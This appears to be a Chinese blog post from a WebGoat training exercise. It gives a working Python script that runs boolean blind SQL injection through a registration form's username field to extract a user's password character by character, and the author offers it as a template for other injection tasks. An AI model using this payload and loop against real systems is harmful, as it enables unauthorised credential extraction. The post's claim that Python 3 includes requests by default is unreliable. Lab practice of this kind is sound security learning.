python实现sql盲注

背景介绍

本文这段python代码之前发布在我的博客WebGoat (A1) SQL Injection (advanced)中,用于通过sql布尔盲注获取WebGoat SQL Injection (advanced)第5页的用户tom的密码。

代码比较简单 ,这里单独拎出来主要是为了自己以后查阅方便。如果遇到其他注入问题,可以简单修改本脚本。如果以后代码有较大优化,会更新本文。

代码

import requests


url = "http://192.168.101.16:8222/WebGoat/SqlInjectionAdvanced/challenge"
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36","Cookie": "JSESSIONID=VjGdZj9IvzWQ9BJFIEar2--CEun-GVI0GnBVU7nE",}
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、特殊字符
answer = ''

for i in range(1,24):
    for c in keylist:
        payload = "tom' and substring(password,"+str(i)+",1)='"+c+"'-- ss"     #用substring逐位猜测密码
        formdata = {
        "username_reg":payload,
        "email_reg":"[email protected]",
        "password_reg":"12",
        "confirm_password_reg":"12",
        }
        response = requests.put(url, data = formdata, headers = headers)       #本题用的PUT方法传输客户端参数,如果遇到其他题目用POST方法,则改为requests.post
        if response.text.find("already exists") != -1:                         #猜对了的话返回结果会包含already exists
            answer = answer+c
            break
print(answer)                                                                  #打印结果

顺便感叹一下requests模块真好用。

我这里用的是python3,因为python3自带requests模块了,python2我看网上说也支持,但应该是要自己安装的。

猜你喜欢

转载自blog.csdn.net/elephantxiang/article/details/114272471